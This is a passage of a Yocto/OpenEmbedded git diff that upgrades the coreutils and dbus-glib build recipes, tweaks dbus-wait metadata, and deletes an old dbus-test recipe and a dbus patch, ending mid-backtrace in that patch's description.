- file://0001-uname-report-processor-and-hardware-correctly.patch \
- file://disable-ls-output-quoting.patch \
- file://0001-local.mk-fix-cross-compiling-problem.patch \
- "
-
-SRC_URI_append_libc-musl = "file://strtod_fix_clash_with_strtold.patch"
-
-SRC_URI[md5sum] = "0009a224d8e288e8ec406ef0161f9293"
-SRC_URI[sha256sum] = "ff7a9c918edce6b4f4b2725e3f9b37b0c4d193531cac49a48b56c4d0d3a9e9fd"
-
-EXTRA_OECONF_class-native = "--without-gmp"
-EXTRA_OECONF_class-target = "--enable-install-program=arch,hostname --libexecdir=${libdir}"
-EXTRA_OECONF_class-nativesdk = "--enable-install-program=arch,hostname"
-
-# acl and xattr are not default features
-#
-PACKAGECONFIG_class-target ??= "\
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
-
-# The lib/oe/path.py requires xattr
-PACKAGECONFIG_class-native ??= "xattr"
-
-# with, without, depends, rdepends
-#
-PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
-PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PACKAGECONFIG[single-binary] = "--enable-single-binary,--disable-single-binary,,"
-
-# [ df mktemp nice printenv base64 gets a special treatment and is not included in this
-bindir_progs = "arch basename chcon cksum comm csplit cut dir dircolors dirname du \
- env expand expr factor fmt fold groups head hostid id install \
- join link logname md5sum mkfifo nl nohup nproc od paste pathchk \
- pinky pr printf ptx readlink realpath runcon seq sha1sum sha224sum sha256sum \
- sha384sum sha512sum shred shuf sort split sum tac tail tee test timeout \
- tr truncate tsort tty unexpand uniq unlink uptime users vdir wc who whoami yes"
-
-# hostname gets a special treatment and is not included in this
-base_bindir_progs = "cat chgrp chmod chown cp date dd echo false hostname kill ln ls mkdir \
- mknod mv pwd rm rmdir sleep stty sync touch true uname stat"
-
-sbindir_progs= "chroot"
-
-PACKAGE_BEFORE_PN_class-target += "coreutils-stdbuf"
-FILES_coreutils-stdbuf = "${bindir}/stdbuf ${libdir}/coreutils/libstdbuf.so"
-RDEPENDS_coreutils_class-target += "coreutils-stdbuf"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since coreutils has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-# Deal with a separate builddir failure if src doesn't exist when creating version.c/version.h
-do_compile_prepend () {
- mkdir -p ${B}/src
-}
-
-do_install_class-native() {
- autotools_do_install
- # remove groups to fix conflict with shadow-native
- rm -f ${D}${STAGING_BINDIR_NATIVE}/groups
- # The return is a must since native doesn't need the
- # do_install_append() in the below.
- return
-}
-
-do_install_append() {
- for i in df mktemp nice printenv base64; do mv ${D}${bindir}/$i ${D}${bindir}/$i.${BPN}; done
-
- install -d ${D}${base_bindir}
- [ "${base_bindir}" != "${bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i.${BPN}; done
-
- install -d ${D}${sbindir}
- [ "${sbindir}" != "${bindir}" ] && for i in ${sbindir_progs}; do mv ${D}${bindir}/$i ${D}${sbindir}/$i.${BPN}; done
-
- # [ requires special handling because [.coreutils will cause the sed stuff
- # in update-alternatives to fail, therefore use lbracket - the name used
- # for the actual source file.
- mv ${D}${bindir}/[ ${D}${bindir}/lbracket.${BPN}
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-# Make hostname's priority higher than busybox but lower than net-tools
-ALTERNATIVE_PRIORITY[hostname] = "90"
-ALTERNATIVE_${PN} = "lbracket ${bindir_progs} ${base_bindir_progs} ${sbindir_progs} base64 nice printenv mktemp df"
-ALTERNATIVE_${PN}-doc = "base64.1 nice.1 mktemp.1 df.1 groups.1 kill.1 uptime.1 stat.1 hostname.1"
-
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-
-ALTERNATIVE_LINK_NAME[base64] = "${base_bindir}/base64"
-ALTERNATIVE_TARGET[base64] = "${bindir}/base64.${BPN}"
-ALTERNATIVE_LINK_NAME[base64.1] = "${mandir}/man1/base64.1"
-
-ALTERNATIVE_LINK_NAME[mktemp] = "${base_bindir}/mktemp"
-ALTERNATIVE_TARGET[mktemp] = "${bindir}/mktemp.${BPN}"
-ALTERNATIVE_LINK_NAME[mktemp.1] = "${mandir}/man1/mktemp.1"
-
-ALTERNATIVE_LINK_NAME[df] = "${base_bindir}/df"
-ALTERNATIVE_TARGET[df] = "${bindir}/df.${BPN}"
-ALTERNATIVE_LINK_NAME[df.1] = "${mandir}/man1/df.1"
-
-ALTERNATIVE_LINK_NAME[nice] = "${base_bindir}/nice"
-ALTERNATIVE_TARGET[nice] = "${bindir}/nice.${BPN}"
-ALTERNATIVE_LINK_NAME[nice.1] = "${mandir}/man1/nice.1"
-
-ALTERNATIVE_LINK_NAME[printenv] = "${base_bindir}/printenv"
-ALTERNATIVE_TARGET[printenv] = "${bindir}/printenv.${BPN}"
-
-ALTERNATIVE_LINK_NAME[lbracket] = "${bindir}/["
-ALTERNATIVE_TARGET[lbracket] = "${bindir}/lbracket.${BPN}"
-
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[stat.1] = "${mandir}/man1/stat.1"
-
-python __anonymous() {
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-
- for prog in d.getVar('sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('sbindir'), prog))
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/coreutils/coreutils_9.0.bb b/meta/recipes-core/coreutils/coreutils_9.0.bb
new file mode 100644
index 0000000000..e4a948c7e5
--- /dev/null
+++ b/meta/recipes-core/coreutils/coreutils_9.0.bb
@@ -0,0 +1,213 @@
+SUMMARY = "The basic file, shell and text manipulation utilities"
+DESCRIPTION = "The GNU Core Utilities provide the basic file, shell and text \
+manipulation utilities. These are the core utilities which are expected to exist on \
+every system."
+HOMEPAGE = "http://www.gnu.org/software/coreutils/"
+BUGTRACKER = "http://debbugs.gnu.org/coreutils"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://src/ls.c;beginline=1;endline=15;md5=3b8fbaee597c8a9bb88d30840d53048c \
+ "
+DEPENDS = "gmp libcap"
+DEPENDS:class-native = ""
+
+inherit autotools gettext texinfo
+
+SRC_URI = "${GNU_MIRROR}/coreutils/${BP}.tar.xz \
+ file://remove-usr-local-lib-from-m4.patch \
+ file://fix-selinux-flask.patch \
+ file://0001-uname-report-processor-and-hardware-correctly.patch \
+ file://0001-local.mk-fix-cross-compiling-problem.patch \
+ file://e8b56ebd536e82b15542a00c888109471936bfda.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "ce30acdf4a41bc5bb30dd955e9eaa75fa216b4e3deb08889ed32433c7b3b97ce"
+
+# http://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=v8.27-101-gf5d7c0842
+# runcon is not really a sandbox command, use `runcon ... setsid ...` to avoid this particular issue.
+CVE_CHECK_IGNORE += "CVE-2016-2781"
+
+EXTRA_OECONF:class-target = "--enable-install-program=arch,hostname --libexecdir=${libdir}"
+EXTRA_OECONF:class-nativesdk = "--enable-install-program=arch,hostname"
+
+# acl and xattr are not default features
+#
+PACKAGECONFIG:class-target ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
+"
+
+# The lib/oe/path.py requires xattr
+PACKAGECONFIG:class-native ??= "xattr"
+
+# oe-core builds need xattr support
+PACKAGECONFIG:class-nativesdk ??= "xattr"
+
+# with, without, depends, rdepends
+#
+PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
+PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
+PACKAGECONFIG[single-binary] = "--enable-single-binary,--disable-single-binary,,"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+# [ df mktemp nice printenv base64 gets a special treatment and is not included in this
+bindir_progs = "arch basename chcon cksum comm csplit cut dir dircolors dirname du \
+ env expand expr factor fmt fold groups head hostid id install \
+ join link logname md5sum mkfifo nl nohup nproc od paste pathchk \
+ pinky pr printf ptx readlink realpath runcon seq sha1sum sha224sum sha256sum \
+ sha384sum sha512sum shred shuf sort split sum tac tail tee test timeout \
+ tr truncate tsort tty unexpand uniq unlink uptime users vdir wc who whoami yes"
+
+# hostname gets a special treatment and is not included in this
+base_bindir_progs = "cat chgrp chmod chown cp date dd echo false hostname kill ln ls mkdir \
+ mknod mv pwd rm rmdir sleep stty sync touch true uname stat"
+
+sbindir_progs= "chroot"
+
+# Split stdbuf into its own package, so one can include
+# coreutils-stdbuf without getting the rest of coreutils, but make
+# coreutils itself pull in stdbuf, so IMAGE_INSTALL += "coreutils"
+# always provides all coreutils
+PACKAGE_BEFORE_PN:class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
+FILES:coreutils-stdbuf = "${bindir}/stdbuf ${libdir}/coreutils/libstdbuf.so"
+RDEPENDS:coreutils:class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
+
+# However, when the single-binary PACKAGECONFIG is used, stdbuf
+# functionality is built into the single coreutils binary, so there's
+# no point splitting /usr/bin/stdbuf to its own package. Instead, add
+# an RPROVIDE so that rdepending on coreutils-stdbuf will work
+# regardless of whether single-binary is in effect.
+RPROVIDES:coreutils += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', 'coreutils-stdbuf', '', d)}"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since coreutils has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+# Deal with a separate builddir failure if src doesn't exist when creating version.c/version.h
+do_compile:prepend () {
+ mkdir -p ${B}/src
+}
+
+do_install:class-native() {
+ autotools_do_install
+ # remove groups to fix conflict with shadow-native
+ rm -f ${D}${STAGING_BINDIR_NATIVE}/groups
+ # The return is a must since native doesn't need the
+ # do_install:append() in the below.
+ return
+}
+
+do_install:append() {
+ for i in df mktemp nice printenv base64; do mv ${D}${bindir}/$i ${D}${bindir}/$i.${BPN}; done
+
+ install -d ${D}${base_bindir}
+ [ "${base_bindir}" != "${bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i.${BPN}; done
+
+ install -d ${D}${sbindir}
+ [ "${sbindir}" != "${bindir}" ] && for i in ${sbindir_progs}; do mv ${D}${bindir}/$i ${D}${sbindir}/$i.${BPN}; done
+
+ # [ requires special handling because [.coreutils will cause the sed stuff
+ # in update-alternatives to fail, therefore use lbracket - the name used
+ # for the actual source file.
+ mv ${D}${bindir}/[ ${D}${bindir}/lbracket.${BPN}
+}
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+# Make hostname's priority higher than busybox but lower than net-tools
+ALTERNATIVE_PRIORITY[hostname] = "90"
+ALTERNATIVE:${PN} = "lbracket ${bindir_progs} ${base_bindir_progs} ${sbindir_progs} base32 base64 nice printenv mktemp df"
+ALTERNATIVE:${PN}-doc = "base64.1 nice.1 mktemp.1 df.1 groups.1 kill.1 uptime.1 stat.1 hostname.1"
+
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+
+ALTERNATIVE_LINK_NAME[base64] = "${base_bindir}/base64"
+ALTERNATIVE_TARGET[base64] = "${bindir}/base64.${BPN}"
+ALTERNATIVE_LINK_NAME[base64.1] = "${mandir}/man1/base64.1"
+
+ALTERNATIVE_LINK_NAME[mktemp] = "${base_bindir}/mktemp"
+ALTERNATIVE_TARGET[mktemp] = "${bindir}/mktemp.${BPN}"
+ALTERNATIVE_LINK_NAME[mktemp.1] = "${mandir}/man1/mktemp.1"
+
+ALTERNATIVE_LINK_NAME[df] = "${base_bindir}/df"
+ALTERNATIVE_TARGET[df] = "${bindir}/df.${BPN}"
+ALTERNATIVE_LINK_NAME[df.1] = "${mandir}/man1/df.1"
+
+ALTERNATIVE_LINK_NAME[nice] = "${base_bindir}/nice"
+ALTERNATIVE_TARGET[nice] = "${bindir}/nice.${BPN}"
+ALTERNATIVE_LINK_NAME[nice.1] = "${mandir}/man1/nice.1"
+
+ALTERNATIVE_LINK_NAME[printenv] = "${base_bindir}/printenv"
+ALTERNATIVE_TARGET[printenv] = "${bindir}/printenv.${BPN}"
+
+ALTERNATIVE_LINK_NAME[lbracket] = "${bindir}/["
+ALTERNATIVE_TARGET[lbracket] = "${bindir}/lbracket.${BPN}"
+
+ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
+ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[stat.1] = "${mandir}/man1/stat.1"
+
+# The statx() requires glibc >= 2.28 and linux kernel >= 4.11, it doesn't work
+# when glibc >= 2.28 ((Ubuntu 20.04 in docker) and kernel < 4.11 (Host OS
+# CentOS 7), we can check kernel version and disable it, but that would cause
+# two different signatures for coreutils-native, so disable it unconditionally
+# for deterministic build.
+EXTRA_OECONF:append:class-native = " ac_cv_func_statx=0"
+
+python __anonymous() {
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+
+ for prog in d.getVar('sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('sbindir'), prog))
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit ptest
+
+RDEPENDS:${PN}-ptest += "bash findutils gawk liberror-perl make perl perl-modules python3-core sed shadow"
+
+# -dev automatic dependencies fails as we don't want libmodule-build-perl-dev, its too heavy
+# may need tweaking if DEPENDS changes
+RRECOMMENDS:coreutils-dev[nodeprrecs] = "1"
+RRECOMMENDS:coreutils-dev = "acl-dev attr-dev gmp-dev libcap-dev bash-dev findutils-dev gawk-dev shadow-dev"
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests
+ sed -i 's/ginstall/install/g' `grep -R ginstall ${D}${PTEST_PATH}/tests | awk -F: '{print $1}' | uniq`
+ install -d ${D}${PTEST_PATH}/build-aux
+ install ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
+ cp ${B}/Makefile ${D}${PTEST_PATH}/
+ cp ${S}/init.cfg ${D}${PTEST_PATH}/
+ cp -r ${B}/src ${D}${PTEST_PATH}/
+ cp -r ${S}/src/*.c ${D}${PTEST_PATH}/src
+ sed -i '/^VPATH/s/= .*$/= ./g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^PROGRAMS/s/^/#/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^Makefile: /s/^.*$/Makefile:/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_top_builddir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_top_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^built_programs/s/ginstall/install/g' ${D}${PTEST_PATH}/Makefile
+ chmod -R 777 ${D}${PTEST_PATH}
+
+ # Disable subcase stty-pairs.sh, it will cause test framework hang
+ sed -i '/stty-pairs.sh/d' ${D}${PTEST_PATH}/Makefile
+
+ # Disable subcase tail-2/assert.sh as it has issues on 32-bit systems
+ sed -i '/assert.sh/d' ${D}${PTEST_PATH}/Makefile
+
+ # Tweak test d_type-check to use python3 instead of python
+ sed -i "1s@.*@#!/usr/bin/python3@" ${D}${PTEST_PATH}/tests/d_type-check
+ install ${B}/src/getlimits ${D}/${bindir}
+
+ # handle multilib
+ sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
+}
+
+FILES:${PN}-ptest += "${bindir}/getlimits"
diff --git a/meta/recipes-core/dbus-wait/dbus-wait_git.bb b/meta/recipes-core/dbus-wait/dbus-wait_git.bb
index c24295b537..f2eb8b1874 100644
--- a/meta/recipes-core/dbus-wait/dbus-wait_git.bb
+++ b/meta/recipes-core/dbus-wait/dbus-wait_git.bb
@@ -1,7 +1,8 @@
SUMMARY = "A simple tool to wait for a specific signal over DBus"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/dbus-wait"
+DESCRIPTION = "${SUMMARY}"
SECTION = "base"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "dbus"
@@ -10,7 +11,7 @@ SRCREV = "6cc6077a36fe2648a5f993fe7c16c9632f946517"
PV = "0.1+git${SRCPV}"
PR = "r2"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/dbus/dbus-glib_0.110.bb b/meta/recipes-core/dbus/dbus-glib_0.110.bb
deleted file mode 100644
index 9afbc2b6a1..0000000000
--- a/meta/recipes-core/dbus/dbus-glib_0.110.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "High level language (GLib) binding for D-Bus"
-DESCRIPTION = "GLib bindings for the D-Bus message bus that integrate \
-the D-Bus library with the GLib thread abstraction and main loop."
-HOMEPAGE = "http://www.freedesktop.org/Software/dbus"
-LICENSE = "AFL-2.1 | GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cf5b3a2f7083750d504333114e738656 \
- file://dbus/dbus-glib.h;beginline=7;endline=21;md5=7755c9d7abccd5dbd25a6a974538bb3c"
-SECTION = "base"
-
-DEPENDS = "expat glib-2.0 virtual/libintl dbus-glib-native dbus"
-DEPENDS_class-native = "glib-2.0-native dbus-native"
-
-SRC_URI = "http://dbus.freedesktop.org/releases/dbus-glib/dbus-glib-${PV}.tar.gz \
- file://no-examples.patch \
- file://test-install-makefile.patch \
-"
-SRC_URI[md5sum] = "d7cebf1d69445cbd28b4983392145192"
-SRC_URI[sha256sum] = "7ce4760cf66c69148f6bd6c92feaabb8812dee30846b24cd0f7395c436d7e825"
-
-inherit autotools pkgconfig gettext bash-completion gtk-doc
-
-#default disable regression tests, some unit test code in non testing code
-#PACKAGECONFIG_pn-${PN} = "tests" enable regression tests local.conf
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[tests] = "--enable-tests,,,"
-
-EXTRA_OECONF_class-target = "--with-dbus-binding-tool=${STAGING_BINDIR_NATIVE}/dbus-binding-tool"
-
-PACKAGES += "${PN}-tests"
-
-FILES_${PN} = "${libdir}/lib*${SOLIBS}"
-FILES_${PN}-bash-completion += "${libexecdir}/dbus-bash-completion-helper"
-FILES_${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-glib-tool"
-FILES_${PN}-dev += "${bindir}/dbus-binding-tool"
-
-RDEPENDS_${PN}-tests += "dbus-x11"
-FILES_${PN}-tests = "${datadir}/${BPN}/tests"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/dbus/dbus-glib_0.112.bb b/meta/recipes-core/dbus/dbus-glib_0.112.bb
new file mode 100644
index 0000000000..4acf435694
--- /dev/null
+++ b/meta/recipes-core/dbus/dbus-glib_0.112.bb
@@ -0,0 +1,39 @@
+SUMMARY = "High level language (GLib) binding for D-Bus"
+DESCRIPTION = "GLib bindings for the D-Bus message bus that integrate \
+the D-Bus library with the GLib thread abstraction and main loop."
+HOMEPAGE = "https://www.freedesktop.org/Software/dbus"
+LICENSE = "AFL-2.1 | GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c31c73c1d8f5d06784b2ccd22e42d641 \
+ file://dbus/dbus-glib.h;beginline=7;endline=21;md5=c374833bd817988323f3a8fda0dc7f48"
+SECTION = "base"
+
+DEPENDS = "expat glib-2.0 virtual/libintl dbus-glib-native dbus"
+DEPENDS:class-native = "glib-2.0-native dbus-native"
+
+SRC_URI = "https://dbus.freedesktop.org/releases/dbus-glib/dbus-glib-${PV}.tar.gz \
+ file://no-examples.patch \
+ file://test-install-makefile.patch \
+"
+SRC_URI[md5sum] = "021e6c8a288df02c227e4aafbf7e7527"
+SRC_URI[sha256sum] = "7d550dccdfcd286e33895501829ed971eeb65c614e73aadb4a08aeef719b143a"
+
+inherit autotools pkgconfig gettext bash-completion gtk-doc
+
+#default disable regression tests, some unit test code in non testing code
+#PACKAGECONFIG:pn-${PN} = "tests" enable regression tests local.conf
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[tests] = "--enable-tests,,,"
+
+EXTRA_OECONF:class-target = "--with-dbus-binding-tool=${STAGING_BINDIR_NATIVE}/dbus-binding-tool"
+
+PACKAGES += "${PN}-tests"
+
+FILES:${PN} = "${libdir}/lib*${SOLIBS}"
+FILES:${PN}-bash-completion += "${libexecdir}/dbus-bash-completion-helper"
+FILES:${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-glib-tool"
+FILES:${PN}-dev += "${bindir}/dbus-binding-tool"
+
+RDEPENDS:${PN}-tests += "dbus-x11"
+FILES:${PN}-tests = "${datadir}/${BPN}/tests"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/dbus/dbus-test_1.12.16.bb b/meta/recipes-core/dbus/dbus-test_1.12.16.bb
deleted file mode 100644
index bea0e74ed0..0000000000
--- a/meta/recipes-core/dbus/dbus-test_1.12.16.bb
+++ /dev/null
@@ -1,90 +0,0 @@
-SUMMARY = "D-Bus test package (for D-bus functionality testing only)"
-HOMEPAGE = "http://dbus.freedesktop.org"
-SECTION = "base"
-LICENSE = "AFL-2.1 | GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=10dded3b58148f3f1fd804b26354af3e \
- file://dbus/dbus.h;beginline=6;endline=20;md5=7755c9d7abccd5dbd25a6a974538bb3c"
-
-DEPENDS = "dbus glib-2.0"
-
-RDEPENDS_${PN}-dev = ""
-
-SRC_URI = "http://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
- file://tmpdir.patch \
- file://run-ptest \
- file://python-config.patch \
- file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
- "
-
-SRC_URI[md5sum] = "2dbeae80dfc9e3632320c6a53d5e8890"
-SRC_URI[sha256sum] = "54a22d2fa42f2eb2a871f32811c6005b531b9613b1b93a0d269b05e7549fec80"
-
-S="${WORKDIR}/dbus-${PV}"
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/dbus:"
-
-inherit autotools pkgconfig gettext ptest upstream-version-is-even
-
-EXTRA_OECONF_X = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '--with-x', '--without-x', d)}"
-EXTRA_OECONF_X_class-native = "--without-x"
-
-EXTRA_OECONF = "--enable-tests \
- --enable-modular-tests \
- --enable-installed-tests \
- --enable-checks \
- --enable-asserts \
- --enable-largefile \
- --disable-xml-docs \
- --disable-doxygen-docs \
- --disable-libaudit \
- --with-dbus-test-dir=${PTEST_PATH} \
- ${EXTRA_OECONF_X} \
- --enable-embedded-tests \
- "
-
-EXTRA_OECONF_append_class-target = " SYSTEMCTL=${base_bindir}/systemctl"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)}"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir},--disable-systemd --without-systemdsystemunitdir,systemd"
-PACKAGECONFIG[x11] = "--with-x --enable-x11-autolaunch,--without-x --disable-x11-autolaunch, virtual/libx11 libsm"
-PACKAGECONFIG[user-session] = "--enable-user-session --with-systemduserunitdir=${systemd_user_unitdir},--disable-user-session"
-PACKAGECONFIG[verbose-mode] = "--enable-verbose-mode,,,"
-
-do_install() {
- :
-}
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/test
- l="shell printf refs syslog marshal syntax corrupt dbus-daemon dbus-daemon-eavesdrop loopback relay \
- variant uid-permissions syntax spawn sd-activation names monitor message fdpass service shell-service"
- for i in $l; do install ${B}/test/.libs/test-$i ${D}${PTEST_PATH}/test; done
-
- l="bus bus-system bus-launch-helper"
- for i in $l; do install ${B}/bus/.libs/test-$i ${D}${PTEST_PATH}/test; done
-
- install -d ${D}${PTEST_PATH}/bus
- install ${B}/bus/.libs/dbus-daemon-launch-helper-test ${D}${PTEST_PATH}/bus
-
- install ${B}/test/test-segfault ${D}${PTEST_PATH}/test
-
- cp -r ${B}/test/data ${D}${PTEST_PATH}/test
- install ${B}/dbus/.libs/test-dbus ${D}${PTEST_PATH}/test
-
- install -d ${D}${PTEST_PATH}/test/.libs
- cp -a ${B}/dbus/.libs/*.so* ${D}${PTEST_PATH}/test/.libs
-
- # Remove build host references...
- find "${D}${PTEST_PATH}/test/data" \( -name *.service -o -name *.conf -o -name "*.aaprofile" \) -type f -exec \
- sed -i \
- -e 's:${B}:${PTEST_PATH}:g' \
- {} +
- sed -i -e 's;@PTEST_PATH@;${PTEST_PATH};g' ${D}${PTEST_PATH}/run-ptest
-}
-
-RDEPENDS_${PN}-ptest += "bash make dbus"
-RDEPENDS_${PN}-ptest_remove = "${PN}"
-
-PRIVATE_LIBS_${PN}-ptest = "libdbus-1.so.3"
diff --git a/meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch b/meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch
deleted file mode 100644
index 6bb6d9c82e..0000000000
--- a/meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch
+++ /dev/null
@@ -1,104 +0,0 @@
-From b8f84bd39485d3977625c9a8b8e8cff5d23be56f Mon Sep 17 00:00:00 2001
-From: Roy Li <rongqing.li@windriver.com>
-Date: Thu, 27 Feb 2014 09:05:02 +0800
-Subject: [PATCH] dbus: clear guid_from_server if send_negotiate_unix_fd
- failed
-
-Upstream-Status: Submitted
-
-bus-test dispatch test failed with below information:
- ./bus/bus-test: Running message dispatch test
- Activating service name='org.freedesktop.DBus.TestSuiteEchoService'
- Successfully activated service 'org.freedesktop.DBus.TestSuiteEchoService'
- 6363: assertion failed "_dbus_string_get_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server) == 0" file "dbus-auth.c" line 1545 function process_ok
- ./bus/bus-test(_dbus_print_backtrace+0x29) [0x80cb969]
- ./bus/bus-test(_dbus_abort+0x14) [0x80cfb44]
- ./bus/bus-test(_dbus_real_assert+0x53) [0x80b52c3]
- ./bus/bus-test() [0x80e24da]
- ./bus/bus-test(_dbus_auth_do_work+0x388) [0x80e3848]
- ./bus/bus-test() [0x80aea49]
- ./bus/bus-test() [0x80affde]
- ./bus/bus-test(_dbus_transport_handle_watch+0xb1) [0x80ad841]
- ./bus/bus-test(_dbus_connection_handle_watch+0x104) [0x8089174]
- ./bus/bus-test(dbus_watch_handle+0xd8) [0x80b15e8]
- ./bus/bus-test(_dbus_loop_iterate+0x4a9) [0x80d1509]
- ./bus/bus-test(bus_test_run_clients_loop+0x5d) [0x808129d]
- ./bus/bus-test() [0x806cab0]
- ./bus/bus-test() [0x806e0ca]
- ./bus/bus-test() [0x806da6f]
- ./bus/bus-test(_dbus_test_oom_handling+0x18c) [0x80b5c8c]
- ./bus/bus-test() [0x806f723]
- ./bus/bus-test(bus_dispatch_test+0x3c) [0x8071aac]
- ./bus/bus-test(main+0x1b7) [0x805acc7]
- /lib/libc.so.6(__libc_start_main+0xf3) [0x45f919b3]
- ./bus/bus-test() [0x805ae39]
-
-The stack is below:
- #0 0xffffe425 in __kernel_vsyscall ()
- #1 0x45fa62d6 in raise () from /lib/libc.so.6
- #2 0x45fa9653 in abort () from /lib/libc.so.6
- #3 0x080cfb65 in _dbus_abort () at dbus-sysdeps.c:94
- #4 0x080b52c3 in _dbus_real_assert (condition=0,
- condition_text=condition_text@entry=0x8117a38 "_dbus_string_get_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server) == 0",
- file=file@entry=0x8117273 "dbus-auth.c", line=line@entry=1545,
- func=func@entry=0x8117f8e <__FUNCTION__.3492> "process_ok")
- data=0x8157290) at dbus-connection.c:1515
- #0 0x00000033fee353e9 in raise () from /lib64/libc.so.6
- #1 0x00000033fee38508 in abort () from /lib64/libc.so.6
- #2 0x000000000047d585 in _dbus_abort () at dbus-sysdeps.c:94
- #3 0x0000000000466486 in _dbus_real_assert (condition=<optimized out>,
- condition_text=condition_text@entry=0x4c2988 "_dbus_string_get_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server) == 0",
- file=file@entry=0x4c21a5 "dbus-auth.c", line=line@entry=1546,
- func=func@entry=0x4c2fce <__FUNCTION__.3845> "process_ok")
- at dbus-internals.c:931
- #4 0x000000000048d424 in process_ok (args_from_ok=0x7fffffffe480,
- auth=0x6ff340) at dbus-auth.c:1546
